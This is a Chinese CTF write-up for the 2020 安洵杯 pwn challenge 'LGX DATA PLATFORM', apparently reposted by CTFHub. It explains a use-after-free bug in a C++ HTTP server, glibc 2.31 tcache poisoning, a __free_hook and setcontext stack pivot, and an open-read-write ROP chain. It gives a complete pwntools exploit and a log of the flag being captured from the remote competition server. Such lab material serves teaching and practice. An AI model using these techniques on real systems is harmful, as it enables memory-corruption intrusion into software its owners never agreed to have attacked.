LGX DATA PLATFORM

发表于 2021-01-15 分类于 Challenge， 2020， 安洵杯， Pwn
Challenge | 2020 | 安洵杯 | Pwn | LGX DATA PLATFORM

点击此处获得更好的阅读体验

WriteUp来源

https://xz.aliyun.com/t/8582

题目考点

- *HTTP协议*
- *对象堆布局干扰*
- *glibc 2.31下uaf漏洞利用*
- *堆栈迁移*
- *orw*
- *seccomp保护*

解题思路

简要概述

一个采用http协议进行交互的web服务器，提供了add_data，delete_data，get_data等api操作。api交互格式如下:

Add data:[POST method] url = '/?request=add_data&index=your_data_index&size=your_size', post your data
Delete data:[GET method] url = '/?request=delete_data&index=your_data_index'
Get data:[GET method] url = '/?request=get_data&index=your_data_index'

漏洞点

在删除之后指针没有清0，但是还的需要绕过一个检查机制`if ( *(_DWORD *)(v12 + 328) )`必须保证里面不会0才可释放内存，而`*(_DWORD *)(v12 + 328)`其实也就是储存的大小，且在释放后对大小进行了清0操作。

lgx::work::work::client:delete函数

```
1 if ( *(_DWORD *)(v12 + 328) )
2   {
3     v13 = *(void **)(v12 + 320);
4     if ( v13 )
5       operator delete[](v13);                   // uaf
6     v25 = &s1;
7     *(_DWORD *)(v12 + 328) = 0;
8   ...
```

lgx::work::work::client_add函数

```
*(_DWORD *)(v22 + 328) = v44;    //储存该index下的大小
if ( (unsigned int)v44 > 0x400 ) //如果大小大于0x400的话相当于直接跳转到函数末尾，完成该函数的调用。
  {
    v54 = &s1;
    v47 = 49LL;
    v37 = (__m128i *)std::__cxx11::basic_string<char,std::char_traits<char>,std::allocator<char>>::_M_create(
                       &v54,
                       &v47,
                       0LL);
    v27 = &v51;
    v54 = v37;
    s1 = v47;
    *v37 = _mm_load_si128((const __m128i *)&xmmword_17B00);
    v38 = _mm_load_si128((const __m128i *)&xmmword_17B40);
    v37[3].m128i_i8[0] = 125;
    v37[1] = v38;
    v37[2] = _mm_load_si128((const __m128i *)&xmmword_17B50);
    v26 = (char *)v54;
    v55 = v47;
    *((_BYTE *)v54 + v47) = 0;
    v25 = *((_QWORD *)v3 + 9) == 0LL;
    v51 = &v53;
    LODWORD(v53) = 1869834798;
    WORD2(v53) = 110;
    v52 = 5LL;
    if ( !v25 )
    {
      (*((void (__fastcall **)(signed __int64, void **, void **))v3 + 10))((signed __int64)v3 + 56, &v51, &v54);
      goto LABEL_70;
    }
    goto LABEL_50;                              // 跳转到函数末尾
  }
```

从以上可以发现，若释放一个正常的数据之后，再原来使用的该index下申请大于0x400的话，构成了uaf漏洞。

思路

由于程序采用c++进行开发的，使用了大量的c++标准容器储存数据，堆布局比较混乱，建议采用最新版pwngdb 中parseheap命令进行解析堆布局，c++容器类频繁构造与析构会干扰正常的malloc与free的次序，开辟的堆大小尽可能保持大于0x100堆，避免c++对象堆布局的干扰。

通过逻辑漏洞造成uaf漏洞，泄露heap和libc地址，采用unsorted bin前置合并与uaf漏洞实现堆重叠，构造fake chunk实现修改释放后存在tache bin的fd，实现任意地址开辟，为了保证glibc 内存管理检查机制正常开辟内存，需要修复unsorted bin 的fd与bk，也还要提前设置好c++ 对象开辟内存大小的tcache bin, 防止对象开辟内存的干扰。修改free_hook为libc中 rdx的gadget，在堆中构造libc setcontext中rdx相关寄存器赋值的布局，修改rsp实现堆栈迁移，在堆中提前构造orw rop, 然后在free时将flag打印出来。

在libc中快速找rdx与rdi的gadget

```
objdump -M intel -D libc.so.6 | grep "mov    rdx,QWORD PTR \[rdi+0x8\]"
```

使用如下gadget

```
154930:       48 8b 57 08             mov    rdx,QWORD PTR [rdi+0x8]
```

对应代码为：

```
.text:0000000000154930                mov     rdx, [rdi+8]
.text:0000000000154934                mov     [rsp+0C8h+var_C8], rax
.text:0000000000154938                call    qword ptr [rdx+20h]
```

采用该gadget可以是rdi参数进行转移至rdx，且方便我们使用setcontext函数中的gadget实现寄存器的赋值实现堆栈迁移至堆中。

setcontext + 61处的gadget如下，

```
.text:00000000000580DD                mov     rsp, [rdx+0A0h]
.text:00000000000580E4                mov     rbx, [rdx+80h]
.text:00000000000580EB                mov     rbp, [rdx+78h]
.text:00000000000580EF                mov     r12, [rdx+48h]
.text:00000000000580F3                mov     r13, [rdx+50h]
.text:00000000000580F7                mov     r14, [rdx+58h]
.text:00000000000580FB                mov     r15, [rdx+60h]
.text:00000000000580FF                test    dword ptr fs:48h, 2
.text:000000000005810B                jz      loc_581C6

...

.text:00000000000581C6 loc_581C6:                             ; CODE XREF: setcontext+6B↑j
.text:00000000000581C6                mov     rcx, [rdx+0A8h]
.text:00000000000581CD                push    rcx
.text:00000000000581CE                mov     rsi, [rdx+70h]
.text:00000000000581D2                mov     rdi, [rdx+68h]
.text:00000000000581D6                mov     rcx, [rdx+98h]
.text:00000000000581DD                mov     r8, [rdx+28h]
.text:00000000000581E1                mov     r9, [rdx+30h]
.text:00000000000581E5                mov     rdx, [rdx+88h]
.text:00000000000581E5 ; } // starts at 580A0
.text:00000000000581EC ; __unwind {
.text:00000000000581EC                xor     eax, eax
.text:00000000000581EE                retn
```

然后在堆中布置一下orw rop即可。

exp

```python
#!/usr/bin/env python3
#-*- coding:utf-8 -*-
# Author: i0gan
# Env: Arch linux

from pwn import *
import os

r   =  lambda x : io.recv(x)
ra  =  lambda   : io.recvall()
rl  =  lambda   : io.recvline(keepends = True)
ru  =  lambda x : io.recvuntil(x, drop = True)
s   =  lambda x : io.send(x)
sl  =  lambda x : io.sendline(x)
sa  =  lambda x, y : io.sendafter(x, y)
sla =  lambda x, y : io.sendlineafter(x, y)
ia  =  lambda : io.interactive()
c   =  lambda : io.close()
li  = lambda x : log.info('\x1b[01;38;5;214m' + x + '\x1b[0m')

context.log_level='debug'
context.terminal = ['tmux', 'splitw', '-h']
context.arch = 'amd64'

libc_path = '/lib/x86_64-linux-gnu/libc.so.6'
libc_path = './libc.so.6'
elf_path  = './lgx-data-platform'
# remote server ip and port
server_ip = "axb.d0g3.cn"
server_port = 20101

# if local debug
LOCAL = 0
LIBC  = 1

#-------------------------func-----------------------------
def db():
    if(LOCAL):
        gdb.attach(io)

def get(url):
    p =  'GET ' + url + ' HTTP/1.1\r\n'
    p += '\r\n'
    s(p)

def post(url, data):
    p =  b'POST ' + url.encode() + b' HTTP/1.1\r\n'
    p += b'Content-Length: ' + str(len(data)).encode() + b'\r\n'
    p += b'\r\n'
```

```
    p += data
    s(p)

def add(i, s, d):
    post('/?request=add_data&index=' + str(i) + '&size=' + str(s), d)
    ru('HTTP/1.1 200 OK')

def rm(i):
    get('/?request=delete_data&index=' + str(i))
    ru('HTTP/1.1 200 OK')

def get_data(i):
    get('/?request=get_data&index=' + str(i))
    ru('HTTP/1.1 200 OK')

#-------------------------exploit-------------------------
def exploit():
    li('exploit...')

    add(0, 0x400, b'') # 0
    add(0x31, 0x37c, b'') # for bypass unsorted bin malloc
    add(0x32, 0x37c, b'') # for bypass unsorted bin malloc
    add(0x33, 0x348, b'') # for bypass unsorted bin malloc
    add(0x34, 0x331, b'') # for bypass unsorted bin malloc
    add(0x35, 0x331, b'') # for bypass unsorted bin malloc

    rm(0x31)
    rm(0x32)
    rm(0x33)
    rm(0x34)
    rm(0x35)

    for i in range (16):
        add(i, 0x100, b'') # 1

    for i in range (7):
        rm(i + 1)
    rm(8)

    add(8, 0x401, b'')
    add(2, 0x401, b'')

    # leak libc
    get_data(8)
    ru('"data":"')
    leak = u64(io.recv()[-8:-2].ljust(8, b'\x00'))
    main_arena_offset = 0x1ebb80
    libc_base = leak - main_arena_offset - 96
    main_arena = libc_base + main_arena_offset
    free_hook = libc_base + libc.sym['__free_hook']
    setcontext = libc_base + libc.sym['setcontext'] + 61
    gadget = libc_base + 0x1547A0 # local
    gadget = libc_base + 0x154930 # remote
    ret_addr = libc_base + 0x25679

    libc_open = libc_base + libc.sym['open']
    libc_read = libc_base + libc.sym['read']
    libc_write = libc_base + libc.sym['write']
    pop_rdi = libc_base + 0x26b72
    pop_rsi = libc_base + 0x27529
    pop_rdx_r12 = libc_base + 0x11c1e1 # local
    pop_rdx_r12 = libc_base + 0x11c371 # remote

    li('libc_base : ' + hex(libc_base))

    # leak heap
    get_data(2)
    ru('"data":"')
    leak = u64(io.recv()[-8:-2].ljust(8, b'\x00'))
    heap = leak - (0)
    li('heap chunk 2 : ' + hex(heap))

    rm(9) # for merge
    rm(10) # for merge

    for i in range (6):
        add(i + 0x10, 0x100, b'') # 1

    rm(8) # free our large chunk

    add(9, 0x401, b'')
    rm(9) # add out fake chunk to tcache list

```

```
    #rop = flat();
    set_context = p64(0) * 4 # rdx -> addr
    set_context += p64(setcontext) # rdx + 0x20
    set_context += p64(0x11111)
    set_context = set_context.ljust(0xa0, b'\x00')
    set_context += p64(heap + 0x880 + 0x110) # set rsp, point to rop
    set_context += p64(ret_addr) # set rcx, avoid push rcx impact on rsp
    set_context += b'./flag\x00'

    flag_addr = heap + 0x888 + 0xa0 + 0x10
    rop = flat([
        pop_rdi, flag_addr,
        pop_rsi, 0,
        libc_open,
        pop_rdi, 3,
        pop_rsi, flag_addr,
        pop_rdx_r12, 0x100, 0,
        libc_read,
        pop_rdi, 1,
        pop_rsi, flag_addr,
        #pop_rdx_r12, 0x100, 0,
        libc_write,
    # pause
        pop_rdi, 0,
        libc_read
    ])

    p = p64(main_arena + 96) + p64(main_arena + 96)
    p = p.ljust(0x100, b'\x00')
    p += p64(0) + p64(0x111) # fake chunk 9
    p += (p64(free_hook) + set_context).ljust(0x100, b'\x00')

    p += p64(0) + p64(0x111) # fake chunk 10
    p += rop.ljust(0x100, b'\x00')
    p += b'A' * 0x10 # avoid string obj malloc to our fake chunk

    add(0x20, 0x320, p) # malloc to our chunk, and make a fake chunk
    add(0x21, 0x100, b'')

    p = p64(gadget)
    p += p64(heap + 0x888) # set rdx pointer to heap set_context addr + 0x20

    #db()
    # trigger
    post('/?request=add_data&index=' + str(0x22) + '&size=' + str(0x100), p)

def finish():
    ia()
    c()

#-------------------------main----------------------------
if __name__ == '__main__':

    if LOCAL:
        elf = ELF(elf_path)
        if LIBC:
            libc = ELF(libc_path)
            io = elf.process(env = {"LD_PRELOAD" : libc_path} )
        else:
            io = elf.process()
    else:
        elf = ELF(elf_path)
        io = remote(server_ip, server_port)
        if LIBC:
            libc = ELF(libc_path)

    exploit()
    finish()
```

attack log

```
┌[logan㉿arch]-(~/share/axb2020-server-mannage/pwn_chall/test/lgx-data-platform)
└> ./exp
[*] '/run/media/logan/disk1/share/axb2020-server-mannage/pwn_chall/test/lgx-data-platform/lgx-data-platform'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled
[+] Opening connection to axb.d0g3.cn on port 20101: Done
[*] '/run/media/logan/disk1/share/axb2020-server-mannage/pwn_chall/test/lgx-data-platform/libc.so.6'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled
[*] exploit...
[*] libc_base : 0x7f0929101000
[*] heap chunk 2 : 0x56151b60e090
[*] Switching to interactive mode

Server: LGX_SERVER
Access-Control-Allow-Origin: *
Content-Type: application/json
Content-Length: 43

{"code":"true", "msg":"warning none data!"}flag{722b6d90a64c25782af42d14d784ce1c}
```

- ***本文作者：*** *CTFHub*
- ***本文链接：*** *https://writeup.ctfhub.com/Challenge/2020/安洵杯/Pwn/fHxd9c2DntpJvGLjkbNcjQ.html*
- ***版权声明：*** *本博客所有文章除特别声明外，均采用 BY-NC-SA 许可协议。转载请注明出处！*

 # Challenge # 2020 # Pwn # 安洵杯
Web Server
Einstein